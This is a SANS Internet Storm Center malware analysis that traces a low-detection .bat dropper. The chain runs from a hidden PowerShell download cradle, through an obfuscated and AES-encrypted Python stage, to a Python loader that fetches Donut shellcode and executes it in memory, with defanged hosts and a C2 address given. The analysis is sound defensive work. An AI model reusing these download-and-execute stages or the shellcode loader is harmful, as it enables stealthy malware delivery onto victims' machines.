I found a tiny .bat file that looked not suspicious at all: 3650.bat (SHA256:bca5c30a413db21f2f85d7297cf3a9d8cedfd662c77aacee49e821c8b7749290) with a very low VirusTotal score (2/65)[1]. The file is very simple, it invokes a PowerShell:
@shift /0
@echo off
powershell.exe -WindowStyle Hidden -Command “IEX (New-Object Net.WebClient).DownloadString(‘hxxps://oshi[.]at/awMj/update.ps1’)”
At first, the downloaded PowerShell script will fetch a bunch of ZIP archives and unpack them:
$newFolderPath = “C:UsersPublicdocument”
if (-not (Test-Path -Path $newFolderPath -PathType Container)) {
New-Item -ItemType Directory -Path $newFolderPath | Out-Null
Write-Host “Folder created successfully at $newFolderPath”
} else {
Write-Host “Folder already exists at $newFolderPath”
}
$downloads = @(
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/python311.zip”; Output = “C:UsersPublicdocumentpython311.zip” },
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/document1.zip”; Output = “C:UsersPublicdocument1.zip” },
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/document2.zip”; Output = “C:UsersPublicdocument2.zip” },
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/document3.zip”; Output = “C:UsersPublicdocument3.zip” },
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/document4.zip”; Output = “C:UsersPublicdocument4.zip” },
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/document5.zip”; Output = “C:UsersPublicdocument5.zip” },
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/document6.zip”; Output = “C:UsersPublicdocument6.zip” },
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/document7.zip”; Output = “C:UsersPublicdocument7.zip” },
@{ Url = “hxxps://bitbucket[.]org/bich89hell/new/downloads/document8.zip”; Output = “C:UsersPublicdocument8.zip” }
)
foreach ($download in $downloads) {
Start-Job -ScriptBlock {
param($url, $output)
Invoke-WebRequest -Uri $url -OutFile $output
} -ArgumentList $download.Url, $download.Output
}
Get-Job | Wait-Job
Get-Job | Format-Table -Property State, HasMoreData, Id, @{ Label = “Url”; Expression = { $downloads[$_.Name.Split(“_”)[1]].Url } }, @{ Label = “Output”; Expression = { $downloads[$_.Name.Split(“_”)[1]].Output } }
Expand-Archive C:UsersPublicdocument1.zip -DestinationPath C:UsersPublicdocument -Force -ErrorAction SilentlyContinue
Expand-Archive C:UsersPublicdocument2.zip -DestinationPath C:UsersPublicdocument -Force -ErrorAction SilentlyContinue
Expand-Archive C:UsersPublicdocument3.zip -DestinationPath C:UsersPublicdocument -Force -ErrorAction SilentlyContinue
Expand-Archive C:UsersPublicdocument4.zip -DestinationPath C:UsersPublicdocument -Force -ErrorAction SilentlyContinue
Expand-Archive C:UsersPublicdocument5.zip -DestinationPath C:UsersPublicdocument -Force -ErrorAction SilentlyContinue
Expand-Archive C:UsersPublicdocument6.zip -DestinationPath “C:UsersPublicdocumentLibsite-packages” -Force -ErrorAction SilentlyContinue
Expand-Archive C:UsersPublicdocument7.zip -DestinationPath “C:UsersPublicdocumentLibsite-packages” -Force -ErrorAction SilentlyContinue
Expand-Archive C:UsersPublicdocument8.zip -DestinationPath “C:UsersPublicdocumentLibsite-packages” -Force -ErrorAction SilentlyContinue
It will fetch a complete Python environment with all the required libraries to execute the next stage:
Indeed, the next step is to download and execute a Python script:
Invoke-WebRequest hxxps://oshi[.]at/Nbmv/python.py -OutFile C:UsersPublicpython.py
C:UsersPublicdocumentpython.exe C:UsersPublicpython.py
If the initial PowerShell script was not obfuscated, this Python one is definitively more tricky to read:
import zlib,marshal,base64;from Crypto.Cipher import AES;from Crypto.Random import get_random_bytes;from Crypto.Util.Padding import pad, unpad;exec(marshal.loads(base64.b64decode(“YwAAAAAAAAAAAAAAAA … (removed) … AAAFACQDpyEAAAAA==”)))
Marshal[2] is the internal Python object serialization module that contains functions to read and write Python values in a binary format. To have a first look at the Base64 payload, we can use the dis module[3]. The call to exec() means that Python will receive some bytecode. The dis module supports the analysis of bytecode by disassembling it. If you replace exec() by dis.dis(), you get more information about the next stage:
0 0 RESUME 0
1 2 LOAD_CONST 0 (0)
4 LOAD_CONST 1 (None)
6 IMPORT_NAME 0 (zlib)
8 STORE_NAME 0 (zlib)
10 LOAD_CONST 0 (0)
12 LOAD_CONST 1 (None)
14 IMPORT_NAME 1 (marshal)
16 STORE_NAME 1 (marshal)
18 LOAD_CONST 0 (0)
20 LOAD_CONST 1 (None)
22 IMPORT_NAME 2 (base64)
24 STORE_NAME 2 (base64)
26 LOAD_CONST 0 (0)
28 LOAD_CONST 2 ((‘AES’,))
30 IMPORT_NAME 3 (Crypto.Cipher)
32 IMPORT_FROM 4 (AES)
34 STORE_NAME 4 (AES)
36 POP_TOP
38 LOAD_CONST 0 (0)
40 LOAD_CONST 3 ((‘get_random_bytes’,))
42 IMPORT_NAME 5 (Crypto.Random)
44 IMPORT_FROM 6 (get_random_bytes)
46 STORE_NAME 6 (get_random_bytes)
48 POP_TOP
50 LOAD_CONST 0 (0)
52 LOAD_CONST 4 ((‘pad’, ‘unpad’))
54 IMPORT_NAME 7 (Crypto.Util.Padding)
56 IMPORT_FROM 8 (pad)
58 STORE_NAME 8 (pad)
60 IMPORT_FROM 9 (unpad)
62 STORE_NAME 9 (unpad)
64 POP_TOP
66 PUSH_NULL
68 LOAD_NAME 10 (exec)
70 PUSH_NULL
72 LOAD_NAME 0 (zlib)
74 LOAD_ATTR 11 (decompress)
84 LOAD_CONST 5 (b’xx9c5Vy_xdbFx10xfd*\x01;x1c … (removed) … xbf}hxb5xdbxffx01RX?6′)
86 PRECALL 1
90 CALL 1
100 LOAD_METHOD 12 (decode)
122 PRECALL 0
126 CALL 0
136 PRECALL 1
140 CALL 1
150 POP_TOP
152 LOAD_CONST 1 (None)
154 RETURN_VALUE
The presence of references to Crypto functions and the hex-encoded payload reveals the technique used to decote the next stage.
Once the data decompressed, let’s decrypt manually the payload:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b’xe4TCVx05.Fx97vxb4x9a_x92x8e^5xc14xd0fgY;”xf3gu:hx92xc0x08′
iv = b’xeb<xd0xdb\xef[7nsxe47x84cxc4C’
ciphertext = b’nrs.wn=x85xc7x85xd0xacLx97xf1xd6 … xd9x88xd9xe7x12x9dxc8&’
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(plaintext.decode(‘utf-8’))
We have the final Python payload:
import ctypes
from pathlib import Path
import base64
import requests
payload_data = base64.b64decode(requests.get(“hxxps://files[.]catbox[.]moe/7p917w.txt”).text)
shellcode = bytearray(payload_data) # Removed unnecessary part
kernel32 = ctypes.windll.kernel32
kernel32.VirtualAlloc.restype = ctypes.c_void_p
kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]
ptr = kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) # Use specific address instead of None
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ptr, buffer, len(shellcode))
handle = kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None)
kernel32.WaitForSingleObject(handle, -1)
This code will fetch the final shellcode and execute it from memory. The shellcode has been generated with Donut[4]. It tries to phone home to %%ip:160.30.21.115%%:7000 but the C2 is down at the moment…
[1] https://www.virustotal.com/gui/file/bca5c30a413db21f2f85d7297cf3a9d8cedfd662c77aacee49e821c8b7749290
[2] https://docs.python.org/fr/3/library/marshal.html
[3] https://docs.python.org/3/library/dis.html
[4] https://github.com/TheWover/donut
Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.